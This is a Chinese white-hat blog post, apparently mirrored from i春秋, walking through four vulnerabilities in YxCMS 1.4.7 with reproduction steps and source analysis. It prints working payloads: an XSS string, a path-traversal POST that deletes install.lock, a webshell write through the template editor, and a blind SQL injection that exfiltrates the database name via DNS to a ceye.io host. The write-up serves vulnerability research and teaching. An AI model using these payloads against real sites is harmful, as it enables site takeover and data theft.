zoukankan      html  css  js  c++  java
  • 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

    这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能。

    注:篇幅较长,阅读用时约7分钟。

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    YXcms是基于PHP+MySql开发,采用CANPHP框架编写的,是一款高效、灵活、实用、免费的企业建站系统,它的设计理念是用最少的代码做更多的事情。

    安装程序

    具体的安装流程和使用说明可以去官网查看:

    https://www.kancloud.cn/yongheng/yxcms

     

    前台XSS

    1、漏洞复现

    打开链接,输入payload:

    <svg/onload=alert(1)>

     

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    然后登陆后台,查看审核。

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    点击编辑

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

     

    2、漏洞分析

    前台的文件源码:

    protected/apps/default/controller/columnController.php

    public function index()
    {
    $ename=in($_GET['col']);
    if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
    $sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
    $path=$sortinfo['path'].','.$sortinfo['id'];
    $deep=$sortinfo['deep']+1;
    $this->col=$ename;
    switch ($sortinfo['type']) {
    case 1://文章
    $this->newslist($sortinfo,$path,$deep);
    break;
    case 2://图集
    $this->photolist($sortinfo,$path,$deep);
    break;
    case 3://单页
    $this->page($sortinfo,$path,$deep);
    break;
    case 4://应用
    break;
    case 5://自定义
    break;
    case 6://表单
    $this->extend($sortinfo,$path,$deep);
    break;
    default:
    throw new Exception('未知的栏目类型~', 404);
    break;
    }
    }

    后台的文件源码:

    protected/apps/admin/controller/extendfieldController.php

    public function mesedit()
    {
    $tableid=intval($_GET['tabid']);
    if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
    $id=intval($_GET['id']);//信息id
    if(empty($tableid) || empty($id) ) $this->error('参数错误~');
    $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
    if(empty($tableinfo)) $this->error('自定义表不存在~');
    if (!$this->isPost()) {
    $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
    $this->info=$info;
    $this->tableid=$tableid;
    $this->id=$id;
    $this->tableinfo=$tableinfo;
    $this->display();
    }else{
    for($i=1;$i<count($tableinfo);$i++){
    if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
    $data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
    else
    $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
    }
    if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
    else $this->error('信息修改失败~');
    }
    }

    中间没什么过滤,具体可以看这篇文章:

    https://www.hackersb.cn/hacker/85.html

     

    任意文件删除

    1、漏洞复现

    需要先登录后台,然后访问之后会显示缩略图不存在:

    Payload:

    http://sb.com/index.php?r=admin/photo/delpic

    POST:

    picname=../../protected/apps/install/install.lock

     

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    然后访问网站首页就会自动转到安装的页面

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

     

    2、漏洞分析

    漏洞文件:

    protected/apps/admin/controller/photoController.php,在第355行的delpic( )函数,可以看到$picname接收POST过来的值,然后$path等于文件开头定义的静态变量。

    static protected $uploadpath='';//图片上传路径

    没有对传入的值进行任何的过滤,使用函数file_exists()判断一下文件是否存在,unlink执行删除操作。

    public function delpic()
    {
    if(empty($_POST['picname'])) $this->error('参数错误~');
    $picname=$_POST['picname'];
    $path=$this->uploadpath;
    if(file_exists($path.$picname))
    @unlink($path.$picname);
    else{echo '图片不存在~';return;}
    if(file_exists($path.'thumb_'.$picname))
    @unlink($path.'thumb_'.$picname);
    else {echo '缩略图不存在~';return;}
    echo '原图以及缩略图删除成功~';
    }

    任意文件写入

    1、漏洞复现

    打开页面

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    打开我们的文件监控软件

    FolderChangesView

    输入我们的程序路径

    D:phpStudyPHPTutorialWWWYXcms

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    然后写shell.php文件名,写入我们的代码。

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    然后会在

    protectedappsdefault iewdefault下面生成我们写入的文件。

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

    2、漏洞分析

    漏洞文件

    protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET传过来的值,如果为空的话就会报非法操作。传过来的URL是admin/set/tpadd&Mname=default,所以$tpfile就是default。

    再来下是检测是否有POST的值,接受到POST过来的filename,用trim去掉两边的空格。接收到POST过来的code,用stripcslashes反转义。

    $filepath=$templepath.$filename.'.php'这一句是路径和文件的拼接,然后下面检测路径是否存在。

    最后没有过滤任何的危险函数就传给file_put_contents函数,写入网站的目录。

    public function tpadd()
    {
    $tpfile=$_GET['Mname'];
    if(empty($tpfile)) $this->error('非法操作~');
    $templepath=BASE_PATH . $this->tpath.$tpfile.'/';
    if($this->isPost()){
    $filename=trim($_POST['filename']);
    $code=stripcslashes($_POST['code']);
    if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
    $filepath=$templepath.$filename.'.php';
    if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
    try{
    file_put_contents($filepath, $code);
    } catch(Exception $e) {
    $this->error('模板文件创建失败!');
    }
    $this->success('模板文件创建成功!',url('set/tplist',array('Mname'=>$tpfile)));
    }else{
    $this->tpfile=$tpfile;
    $this->display();
    }
    }

     

    SQL注入

    1、漏洞复现

    这个盲注可以用ceye.io和python脚本跑。

    payload:

    1 and if((select load_file(concat('\',(select database()),'.xxxx.ceye.ioabc'))),1,1))--

    点击删除

     

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

     

    然后用Burp Suite截获数据,修改内容加上我们的payload,用原文的payload后面+会报错。

     

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

     

    然后进入http://ceye.io/records/dns,查看我们的数据。

     

    「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

     

     

    2、漏洞分析

    查看漏洞文件:

    protected/apps/admin/controller/fragmentController.php的第63行

    public function del()
    {
    if(!$this->isPost()){
    $id=intval($_GET['id']);
    if(empty($id)) $this->error('您没有选择~');
    if(model('fragment')->delete("id='$id'"))
    echo 1;
    else echo '删除失败~';
    }else{
    if(empty($_POST['delid'])) $this->error('您没有选择~');
    $delid=implode(',',$_POST['delid']);
    if(model('fragment')->delete('id in ('.$delid.')'))
    $this->success('删除成功',url('fragment/index'));
    }
    }

    我们跟

    if(model('fragment')->delete("id='$id'")),

    它会先到protected/core.php文件里面的model

    function model($model){
    static $objArray = array();
    $className = $model . 'Model';
    if( !is_object($objArray[$className]) ){
    if( !class_exists($className) ) {
    throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型类不存在');
    }
    $objArray[$className] = new $className();
    }
    return $objArray[$className];
    }

    然后到

    protected/apps/admin/model/fragmentModel.php

    <?php
    class fragmentModel extends baseModel{
    protected $table = 'fragment';
    }

    继续

    protected/base/model/baseModel.php

    <?php
    class baseModel extends model{
    protected $prefix='';
    public function __construct( $database= 'DB',$force = false ){
    parent::__construct();
    $this->prefix=config('DB_PREFIX');
    }
    }

    再来到最底层的数据库操作类protected/base/model/model.php的第45行

    public function delete($condition){
    return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
    }

    这个delete()是从哪里来的,我们来看第十三行的代码,创建了一个对象cpModel

    static public function connect($config, $force=false){
    static $model = NULL;
    if( $force==true || empty($model) ){
    $model = new cpModel($config);
    }
    return $model;
    }

    漏洞文件在

    protected/include/core/cpModel.class.php

    public function delete() {
    $table = $this->options['table']; //当前表
    $where = $this->_parseCondition(); //条件
    if ( empty($where) ) return false; //删除条件为空时,则返回false,避免数据不小心被全部删除
    $this->sql = "DELETE FROM $table $where";
    $query = $this->db->execute($this->sql);
    return $this->db->affectedRows();
    }

    这里用到了一个方法_parseCondition()

    private function _parseCondition() {
    $condition = $this->db->parseCondition($this->options);
    $this->options['where'] = '';
    $this->options['group'] = '';
    $this->options['having'] = '';
    $this->options['order'] = '';
    $this->options['limit'] = '';
    $this->options['field'] = '*';
    return $condition;
    }
    }

    这个函数是在

    protected/include/core/db/cpMysql.class.php的128行

    public function parseCondition($options) {
    $condition = "";
    if(!empty($options['where'])) {
    $condition = " WHERE ";
    if(is_string($options['where'])) {
    $condition .= $options['where'];
    } else if(is_array($options['where'])) {
    foreach($options['where'] as $key => $value) {
    $condition .= " `$key` = " . $this->escape($value) . " AND ";
    }
    $condition = substr($condition, 0,-4);
    } else {
    $condition = "";
    }
    }
    if( !empty($options['group']) && is_string($options['group']) ) {
    $condition .= " GROUP BY " . $options['group'];
    }
    if( !empty($options['having']) && is_string($options['having']) ) {
    $condition .= " HAVING " . $options['having'];
    }
    if( !empty($options['order']) && is_string($options['order']) ) {
    $condition .= " ORDER BY " . $options['order'];
    }
    if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
    $condition .= " LIMIT " . $options['limit'];
    }
    if( empty($condition) ) return "";
    return $condition;
    }

    里面有一个行数来过滤escape,我们找到74行的这个函数定义

    public function escape($value) {
    if( isset($this->_readLink) ) {
    $link = $this->_readLink;
    } elseif( isset($this->_writeLink) ) {
    $link = $this->_writeLink;
    } else {
    $link = $this->_getReadLink();
    }
    if( is_array($value) ) {
    return array_map(array($this, 'escape'), $value);
    } else {
    if( get_magic_quotes_gpc() ) {
    $value = stripslashes($value);
    }
    return "'" . mysql_real_escape_string($value, $link) . "'";
    }
    }

    不过这个函数有一句is_array如果是数组才会执行下面的过滤,如果不是的话就正常执行下去,没有任何sql的过滤就造成了注入漏洞。

    以上是今天的内容,大家看懂了吗?

  • 相关阅读:
    前端 JS+CSS
    Git 命令行操作
    信息安全 学习笔记(2)——防火墙(Netfilter/ IPtables)
    信息安全 学习笔记(3)—— 后门(Backdoor+rootkit)
    Linux课程学习总结报告
    信息安全 学习笔记(4)—— 【问答题 复习纲要】
    结合中断上下文切换和进程上下文切换分析Linux内核的一般执行过程
    centos安装和卸载软件
    zookeeper错误KeeperErrorCode = ConnectionLoss解决
    查看linux信息
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/11010769.html
Copyright © 2011-2022 走看看